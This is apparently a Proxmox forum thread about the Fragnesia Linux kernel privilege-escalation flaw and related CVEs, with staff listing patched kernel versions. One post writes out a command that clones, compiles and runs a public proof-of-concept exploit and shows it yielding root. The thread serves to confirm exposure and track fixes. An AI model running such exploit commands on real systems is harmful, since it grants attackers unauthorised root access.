Fragnesia

[michabbs]

Any info about the new Fragnesia bug? Is Proxmox kernel vulnerable?

 

[UdoB]

There's a proof-of-concept: https://gbhackers.com/poc-exploit-released-for-fragnesia-linux-flaw/

 

[UdoB]

In a virtual PVE, pve-no-subscription, both physical host and virtual host uptodate:

root@pnb:~# pveversion
pve-manager/9.1.11/8eac2c86f015bdda (running kernel: 7.0.2-2-pve)

In a shell of a "normal" user:

poc@pnb:~$ git clone https://github.com/v12-security/pocs.git && cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp
#
# a lot of output...

# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)

After that is run once it stays active until the cache is cleared. Meanwhile:

poc@pnb:~$ id
uid=1000(poc) gid=1000(poc) groups=1000(poc),100(users)
poc@pnb:~$ su -
# id
uid=0(root) gid=0(root) groups=0(root)

 

[janus57]

Hi,

FYI :

• https://ubuntu.com/security/CVE-2026-46300#status
• https://security-tracker.debian.org/tracker/CVE-2026-46300

Best regards,

 

[fabian]

the upstream patches are still in flux, but the manual mitigations for copyfail and dirtyfrag (forbidding the affected modules) protect against the issue according to the reports so far. there will be an announcement as usual once fixed kernel packages become available.

 

[daanw]

Add ssh-keysign-pwn to the list, which has already been patched upstream:
https://www.phoronix.com/news/Linux-ssh-keysign-pwn
https://www.phoronix.com/news/Linux-7.0.8-Released

https://security-tracker.debian.org/tracker/CVE-2026-46333
https://ubuntu.com/security/CVE-2026-46333 (not yet)

 

[fabian]

patched kernels are on *-test, containing the fixes for both issues:

7.0.2-4
6.17.13-9
6.14.11-9
6.8.12-24

 

[fabian]

kernels are now available in the enterprise repositories: https://forum.proxmox.com/threads/p...security-advisories.149331/page-3#post-853200

 

[is39]

I assume Proxmox is not vulnerable to DirtyDecrypt aka DirtyCow (CVE-2026-31635), exploiting rxgk in rxrpc module)?
I could not find this feature (CONFIG_RXGK) enabled in any Proxmox kernel.

 

[JeanL]

Hi,

According to https://security-tracker.debian.org/tracker/CVE-2026-31635 & https://ubuntu.com/security/CVE-2026-31635#status the code doesn't seem present, so the probability of not having the code in the PVE kernel is pretty high, since it's based on Ubuntu kernels.

Best regards,

 

[fabian]

the feature is enabled (in the 6.17 and 7.0 kernels), but fixes are already included in recent kernel updates.

 

[kbhupendra]

Add ssh-keysign-pwn to the list, which has already been patched upstream:
https://www.phoronix.com/news/Linux-ssh-keysign-pwn
https://www.phoronix.com/news/Linux-7.0.8-Released

https://security-tracker.debian.org/tracker/CVE-2026-46333
https://ubuntu.com/security/CVE-2026-46333 (not yet)

Hello, can you confirm is this CVE "CVE-2026-46333" impacted on proxmox-VE8.4.19 and kernel version is -- Linux 6.8.12-30-pve . is this kernel is impacted with this CVE ? please confirm.

Thanks,
Bhupendra

 

[kbhupendra]

Hello, can you confirm is this CVE "CVE-2026-46333" impacted on proxmox-VE8.4.19 and kernel version is -- Linux 6.8.12-30-pve . is this kernel is impacted with this CVE ? please confirm.

Thanks,
Bhupendra

 

[j.theisen]

Hi @kbhupendra

as you can see from the Security Advisories thread [1] and specifically this post [2] proxmox-kernel-6.8.12-24-pve or later include the fix related to CVE-2026-46333.

Yours sincerely
Jonas

[1] https://forum.proxmox.com/threads/proxmox-virtual-environment-security-advisories.149331/
[2] https://forum.proxmox.com/threads/p...security-advisories.149331/page-3#post-853201